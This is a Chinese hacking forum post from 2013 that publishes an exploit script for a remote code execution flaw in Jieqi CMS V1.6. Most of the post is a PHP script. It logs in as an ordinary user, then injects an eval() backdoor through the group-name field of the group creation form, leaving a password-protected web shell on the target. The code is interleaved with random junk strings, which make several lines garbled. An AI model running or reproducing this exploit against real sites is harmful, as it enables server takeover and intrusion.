找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2140|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。" Z: V0 b5 ^# \' Z# p6 h1 o0 E& C

. Y5 O) l# o- O# M% I8 k * n& @1 m7 O& U% `/ {: ]
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。  j; {/ W- U- E* D/ z
需要有一个能创建圈子的用户。
7 Z; L9 _( Q& a1 v9 x7 X! ?$ }, \ : H% K7 X6 h: S9 G/ w+ r& O- W5 ^% o
<?php! A' b: t$ C. ^. W
3 G" F# a6 @7 Z6 Q
print_r('
6 Z$ z4 l) e# G: C6 Y/ P( y, Z4 l8 x+---------------------------------------------------------------------------+# A3 E6 i2 u# `! h, ~/ c: S" k* _
Jieqi CMS V1.6 PHP Code Injection Exploit3 f( H2 e" p- U7 \
by flyh4t! g1 W+ }% A) Y$ }( z, M- O
mail: phpsec at hotmail dot com
2 j, }) q+ i. k) m' v9 oteam: http://www.wolvez.org
: Z# H) T9 V1 d+---------------------------------------------------------------------------+
4 v- S# u. ?( o9 K'); /**
4 W2 w6 w: C7 A! X9 V4 u * works regardless of php.ini settings4 g, V( K- C8 _% L1 [
*/ if ($argc < 5) { print_r('2 l  m5 s% z! z# z2 ^8 Z
+---------------------------------------------------------------------------+2 X  c# j( M2 _! g1 X4 M6 d
Usage: php '.$argv[0].' host path username
  L# Z! u0 ?  _host:      target server (ip/hostname)
, T6 n3 Z/ r+ t3 L' Lpath:      path to jieqicms
! V8 ^% p, L8 euasename:  a username who can create group
0 i; F4 ~6 F7 x, gExample:0 I$ p$ U2 p, o+ K
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password: P0 M2 }2 e: I6 K3 \# w, f
+---------------------------------------------------------------------------+
4 |/ s! A' j: r" r5 u* E'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
" ]7 n6 M: w" ?" w9 {Content-Disposition: form-data; name="gname"! m* e3 q+ {; m' X+ t& {" m# ~

7 c, B& m. f7 \1 m! T'; $params .="';"; $params .='eval($_POST[p]);//flyh4t: X* k- ^, o9 E' U  W5 t5 O) ?
-----------------------------23281168279961
- P8 b% h, s  W6 vContent-Disposition: form-data; name="gcatid"
! j! q  ^" Y  \ ( Q# T/ Q( A# [0 ~* Z9 g
1+ D& n! H0 G' X
-----------------------------23281168279961! i( O6 r5 c3 `+ u! W* I4 D( a
Content-Disposition: form-data; name="gaudit"/ F( j/ q# Y% m" w0 R

5 Z, k' y! S: |7 c5 {( k7 o8 Q3 ~* @18 V( G, y8 R5 w2 L4 Q
-----------------------------232811682799615 s. m0 l& ~! D6 o+ ?
Content-Disposition: form-data; name="gbrief"; M( g- I3 a2 }6 l' [

: Z! q: p( Q4 A4 G, z; c9 P1
$ X6 y$ f0 @9 {' w2 b3 {& Y-----------------------------23281168279961--) L0 C( {+ q7 W7 i: ]8 x
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com& M# @4 {! w/ k& w! V) P

) N1 a7 @6 l* S$ R) P3 O' H9 Xpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表